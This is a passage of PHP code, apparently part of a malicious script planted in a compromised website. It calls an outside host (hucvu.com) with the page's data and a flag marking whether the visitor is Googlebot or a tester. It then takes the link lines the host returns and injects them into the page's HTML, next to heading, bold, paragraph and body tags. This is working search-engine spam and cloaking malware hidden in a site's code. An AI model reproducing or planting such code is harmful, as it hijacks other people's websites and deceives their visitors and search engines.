if($donor_good){
if(function_exists('http_response_code')){
if(http_response_code() != 200){
$donor_good = false;
}
}
}
if($donor_good){
$content_bad_patterns = array(
'(.*)404(.*)<',
'<title>(.*)not found(.*)<',
'<title>(.*)cannot be displayed(.*)<',
);
foreach($content_bad_patterns as $bad_pattern)
{
if(preg_match('#' . $bad_pattern . '#i', $my_content)){
$donor_good = false;
break;
}
}
}
if($donor_good){
if(strlen($donor) > 210){
$donor_good = false;
}
}
if($donor_good){
$itemcrawler = 'x';
if($isgb){
$itemcrawler = 'g';
}
if( isset($_GET[$tstgvar]) or strpos($ua, $tstuavar) ){
$itemcrawler = 't';
}
$donor = urlencode($donor);
$ll = get_data_yo("http://hucvu.com/g3p7e/tuktuk.php?d=$donor&dgrp=$algo&b=$itemcrawler&hs=$hspan");
$el = explode('
', $ll);
}
}
// if(strpos($donor, 'tgththththtt') !== false){
// @ini_set('display_errors', '1');
// error_reporting(E_ALL);
// $my_content = '---debug---<br>'.rnd_label().'<br>' . $my_content;
// }
// ------
if ($my_content && ( isset($_GET[$tstgvar]) or strpos($ua, $tstuavar) ) ) {
$my_content = '---label---<br>'.rnd_label().'<br>' . $my_content;
}
if ( $donor_good) {
$my_content = str_replace('_-', '{nnnYYY}', $my_content);
$my_content = str_replace('-_', '{YYYnnn}', $my_content);
foreach($el as $ln) {
$ln = str_replace('</p>', '_-/p-_', $ln);
if (!$hspan && preg_match('#<strong>([^<]{5,150})</strong>#', $my_content)) {
$my_content = preg_replace('#<strong>([^<]{5,150})</strong>#', "_-strong-_ $ln \${1} _-/strong-_ ", $my_content, 1);
}
elseif (preg_match('#</h1>#', $my_content)) {
$my_content = preg_replace('#</h1>#', "_-/h1-_ \n$ln ", $my_content, 1);
}
elseif (!$hspan && preg_match('#<b>([^<]{3,100})</b>#', $my_content)) {
$my_content = preg_replace('#<b>([^<]{3,100})</b>#', "_-b-_ $ln \${1} _-/b-_ ", $my_content, 1);
}
elseif (!$hspan && preg_match('#<i>([^<]{3,100})</i>#', $my_content)) {
$my_content = preg_replace('#<i>([^<]{3,100})</i>#', "_-i-_ $ln \${1} _-/i-_ ", $my_content, 1);
}
elseif (!$hspan && preg_match('#<u>([^<]{3,100})</u>#', $my_content)) {
$my_content = preg_replace('#<u>([^<]{3,100})</u>#', "_-u-_ $ln \${1} _-/u-_ ", $my_content, 1);
}
elseif (!$hspan && preg_match('#<p(.*)>#', $my_content)) {
$my_content = preg_replace('#<p(.*)>#iUs', "_-p-_ \n$ln ", $my_content, 1);
}
elseif (preg_match('#</p>#', $my_content)) {
$my_content = preg_replace('#</p>#', "_-/p-_ \n$ln ", $my_content, 1);
}
elseif (!$hspan && preg_match('#<br(.*)>#', $my_content)) {
$my_content = preg_replace('#<br(.*)>#iUs', " $ln ", $my_content, 1);
}
elseif (!$hspan && preg_match('#<span(.*)>#', $my_content)) {
$my_content = preg_replace('#<span(.*)>#iUs', "_-span-_ $ln ", $my_content, 1);
}
elseif (preg_match('#<body(.*)>#iUs', $my_content)) {
$my_content = preg_replace('#<body(.*)>#iUs', "<body\${1}>\n$ln ", $my_content, 1);
}
}
$my_content = str_replace('_-', '<', $my_content);
$my_content = str_replace('-_', '>', $my_content);
$my_content = str_replace('{nnnYYY}', '_-', $my_content);
$my_content = str_replace('{YYYnnn}', '-_', $my_content);
}
echo $my_content;xdie();
}
shutdown();
}
}